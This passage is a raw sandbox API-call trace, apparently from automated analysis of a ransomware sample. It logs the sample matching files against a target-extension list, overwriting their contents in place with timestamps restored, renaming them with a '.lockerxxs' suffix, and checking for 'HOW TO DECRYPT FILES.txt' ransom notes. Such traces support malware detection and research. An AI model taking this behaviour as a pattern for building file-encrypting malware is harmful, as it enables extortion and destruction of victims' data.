Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.fdb") returned 0 [0083.361] lstrlenA (lpString="*.fdb") returned 5 [0083.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.wab") returned 0 [0083.361] lstrlenA (lpString="*.wab") returned 5 [0083.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.dat") returned 0 [0083.361] lstrlenA (lpString="*.dat") returned 5 [0083.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.txt") returned 0 [0083.361] lstrlenA (lpString="*.txt") returned 5 [0083.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.jpeg") returned 0 [0083.362] lstrlenA (lpString="*.jpeg") returned 6 [0083.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.jpg") returned 1 [0083.362] lstrlenA (lpString="*.jpg") returned 5 [0083.362] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg" [0083.362] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg" [0083.362] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg." [0083.362] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg.lockerxxs" [0083.362] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefxl6[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.362] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1f84 [0083.362] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45b76710, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45b76710, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45b76710, dwHighDateTime=0x1d2faf3)) returned 1 [0083.362] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.363] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1f5e, lpOverlapped=0x0) returned 1 [0083.370] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg") returned="BBEfXl6[1].jpg" [0083.372] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.372] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1f5e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1f5e, lpOverlapped=0x0) returned 1 [0083.372] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.372] CloseHandle (hObject=0xa4) returned 1 [0083.372] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefxl6[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefxl6[1].jpg.lockerxxs")) returned 1 [0083.374] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbded7090, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbded7090, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbded7090, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1c7e, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEgEH3[1].jpg", cAlternateFileName="BBEGEH~1.JPG")) returned 1 [0083.374] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.374] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEgEH3[1].jpg") returned 1 [0083.374] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEgEH3[1].jpg") returned 1 [0083.374] lstrcmpiA (lpString1="", lpString2="BBEgEH3[1].jpg") returned -1 [0083.374] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg") returned="BBEfXl6[1].jpg" [0083.374] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.374] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.374] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.374] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.374] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBEgEH3[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg" [0083.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.ems") returned 0 [0083.374] lstrlenA (lpString="*.ems") returned 5 [0083.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.db") returned 0 [0083.374] lstrlenA (lpString="*.db") returned 4 [0083.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.dbf") returned 0 [0083.374] lstrlenA (lpString="*.dbf") returned 5 [0083.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.myox") returned 0 [0083.375] lstrlenA (lpString="*.myox") returned 6 [0083.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.myo") returned 0 [0083.375] lstrlenA (lpString="*.myo") returned 5 [0083.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.qbw") returned 0 [0083.375] lstrlenA (lpString="*.qbw") returned 5 [0083.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.qbb") returned 0 [0083.375] lstrlenA (lpString="*.qbb") returned 5 [0083.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.qbm") returned 0 [0083.375] lstrlenA (lpString="*.qbm") returned 5 [0083.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.qbo") returned 0 [0083.375] lstrlenA (lpString="*.qbo") returned 5 [0083.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.qbx") returned 0 [0083.375] lstrlenA (lpString="*.qbx") returned 5 [0083.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.qba") returned 0 [0083.375] lstrlenA (lpString="*.qba") returned 5 [0083.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.qby") returned 0 [0083.375] lstrlenA (lpString="*.qby") returned 5 [0083.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.qbj") returned 0 [0083.375] lstrlenA (lpString="*.qbj") returned 5 [0083.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.ofx") returned 0 [0083.375] lstrlenA (lpString="*.ofx") returned 5 [0083.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.qif") returned 0 [0083.376] lstrlenA (lpString="*.qif") returned 5 [0083.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.mye") returned 0 [0083.376] lstrlenA (lpString="*.mye") returned 5 [0083.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.mbox") returned 0 [0083.376] lstrlenA (lpString="*.mbox") returned 6 [0083.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.eml") returned 0 [0083.376] lstrlenA (lpString="*.eml") returned 5 [0083.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.pst") returned 0 [0083.376] lstrlenA (lpString="*.pst") returned 5 [0083.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.ost") returned 0 [0083.376] lstrlenA (lpString="*.ost") returned 5 [0083.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.idx") returned 0 [0083.376] lstrlenA (lpString="*.idx") returned 5 [0083.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.dbx") returned 0 [0083.376] lstrlenA (lpString="*.dbx") returned 5 [0083.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.sql") returned 0 [0083.376] lstrlenA (lpString="*.sql") returned 5 [0083.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.mdb") returned 0 [0083.376] lstrlenA (lpString="*.mdb") returned 5 [0083.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.fdb") returned 0 [0083.376] lstrlenA (lpString="*.fdb") returned 5 [0083.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.wab") returned 0 [0083.376] lstrlenA (lpString="*.wab") returned 5 [0083.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.dat") returned 0 [0083.376] lstrlenA (lpString="*.dat") returned 5 [0083.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.txt") returned 0 [0083.377] lstrlenA (lpString="*.txt") returned 5 [0083.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.jpeg") returned 0 [0083.377] lstrlenA (lpString="*.jpeg") returned 6 [0083.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg", pszSpec="*.jpg") returned 1 [0083.377] lstrlenA (lpString="*.jpg") returned 5 [0083.379] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg") returned="BBEgEH3[1].jpg" [0083.379] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.379] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1c58, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1c58, lpOverlapped=0x0) returned 1 [0083.380] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.380] CloseHandle (hObject=0xa4) returned 1 [0083.380] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegeh3[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegeh3[1].jpg.lockerxxs")) returned 1 [0083.381] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45725f30, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45725f30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45725f30, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x8f9, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEgsz3[1].jpg", cAlternateFileName="BBEGSZ~1.JPG")) returned 1 [0083.381] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.381] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEgsz3[1].jpg") returned 1 [0083.381] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEgsz3[1].jpg") returned 1 [0083.381] lstrcmpiA (lpString1="", lpString2="BBEgsz3[1].jpg") returned -1 [0083.381] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg") returned="BBEgEH3[1].jpg" [0083.384] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgsz3[1].jpg") returned="BBEgsz3[1].jpg" [0083.384] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.384] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x8d3, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x8d3, lpOverlapped=0x0) returned 1 [0083.384] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.385] CloseHandle (hObject=0xa4) returned 1 [0083.385] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgsz3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegsz3[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgsz3[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegsz3[1].jpg.lockerxxs")) returned 1 [0083.385] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4574c090, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4574c090, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x4574c090, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x9b7, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEgTxB[1].jpg", cAlternateFileName="BBEGTX~1.JPG")) returned 1 [0083.385] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.385] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEgTxB[1].jpg") returned 1 [0083.386] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEgTxB[1].jpg") returned 1 [0083.386] lstrcmpiA (lpString1="", lpString2="BBEgTxB[1].jpg") returned -1 [0083.386] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgsz3[1].jpg") returned="BBEgsz3[1].jpg" [0083.388] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgTxB[1].jpg") returned="BBEgTxB[1].jpg" [0083.388] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.388] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x991, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x991, lpOverlapped=0x0) returned 1 [0083.389] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.389] CloseHandle (hObject=0xa4) returned 1 [0083.389] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgTxB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegtxb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 